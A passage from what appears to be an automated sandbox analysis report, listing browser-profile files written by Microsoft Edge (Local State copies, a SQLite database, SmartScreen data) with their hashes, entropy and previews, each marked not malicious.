Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF26538.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089573096122577
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4khTKKGf4SUtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7yn1t5b7VLyMV/YoskFoz
MD5:	78BEFACFD36098E9785607C6499CE9A0
SHA1:	7B3A36AC9E5BD5F1F7C8AD5F95A35CEE9749D32E
SHA-256:	65FC48863302DA4D8CEF4724B5D2A7C010DEC68A6191486FA76A306848845B69
SHA-512:	013042165C09DB81FB62A77779565F38707B0DE889CAA927C10EA0E5E05D48B5C14DABA3366CCD91D761612ADB663F03F9B1AAD3EEA131679E508CF26623C805
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF26557.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089573096122577
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4khTKKGf4SUtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7yn1t5b7VLyMV/YoskFoz
MD5:	78BEFACFD36098E9785607C6499CE9A0
SHA1:	7B3A36AC9E5BD5F1F7C8AD5F95A35CEE9749D32E
SHA-256:	65FC48863302DA4D8CEF4724B5D2A7C010DEC68A6191486FA76A306848845B69
SHA-512:	013042165C09DB81FB62A77779565F38707B0DE889CAA927C10EA0E5E05D48B5C14DABA3366CCD91D761612ADB663F03F9B1AAD3EEA131679E508CF26623C805
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF266bf.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089573096122577
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4khTKKGf4SUtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7yn1t5b7VLyMV/YoskFoz
MD5:	78BEFACFD36098E9785607C6499CE9A0
SHA1:	7B3A36AC9E5BD5F1F7C8AD5F95A35CEE9749D32E
SHA-256:	65FC48863302DA4D8CEF4724B5D2A7C010DEC68A6191486FA76A306848845B69
SHA-512:	013042165C09DB81FB62A77779565F38707B0DE889CAA927C10EA0E5E05D48B5C14DABA3366CCD91D761612ADB663F03F9B1AAD3EEA131679E508CF26623C805
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF28da0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089573096122577
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4khTKKGf4SUtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7yn1t5b7VLyMV/YoskFoz
MD5:	78BEFACFD36098E9785607C6499CE9A0
SHA1:	7B3A36AC9E5BD5F1F7C8AD5F95A35CEE9749D32E
SHA-256:	65FC48863302DA4D8CEF4724B5D2A7C010DEC68A6191486FA76A306848845B69
SHA-512:	013042165C09DB81FB62A77779565F38707B0DE889CAA927C10EA0E5E05D48B5C14DABA3366CCD91D761612ADB663F03F9B1AAD3EEA131679E508CF26623C805
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2dac6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089573096122577
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4khTKKGf4SUtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7yn1t5b7VLyMV/YoskFoz
MD5:	78BEFACFD36098E9785607C6499CE9A0
SHA1:	7B3A36AC9E5BD5F1F7C8AD5F95A35CEE9749D32E
SHA-256:	65FC48863302DA4D8CEF4724B5D2A7C010DEC68A6191486FA76A306848845B69
SHA-512:	013042165C09DB81FB62A77779565F38707B0DE889CAA927C10EA0E5E05D48B5C14DABA3366CCD91D761612ADB663F03F9B1AAD3EEA131679E508CF26623C805
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3782f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089573096122577
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4khTKKGf4SUtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7yn1t5b7VLyMV/YoskFoz
MD5:	78BEFACFD36098E9785607C6499CE9A0
SHA1:	7B3A36AC9E5BD5F1F7C8AD5F95A35CEE9749D32E
SHA-256:	65FC48863302DA4D8CEF4724B5D2A7C010DEC68A6191486FA76A306848845B69
SHA-512:	013042165C09DB81FB62A77779565F38707B0DE889CAA927C10EA0E5E05D48B5C14DABA3366CCD91D761612ADB663F03F9B1AAD3EEA131679E508CF26623C805
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3d264.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089573096122577
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4khTKKGf4SUtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7yn1t5b7VLyMV/YoskFoz
MD5:	78BEFACFD36098E9785607C6499CE9A0
SHA1:	7B3A36AC9E5BD5F1F7C8AD5F95A35CEE9749D32E
SHA-256:	65FC48863302DA4D8CEF4724B5D2A7C010DEC68A6191486FA76A306848845B69
SHA-512:	013042165C09DB81FB62A77779565F38707B0DE889CAA927C10EA0E5E05D48B5C14DABA3366CCD91D761612ADB663F03F9B1AAD3EEA131679E508CF26623C805
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
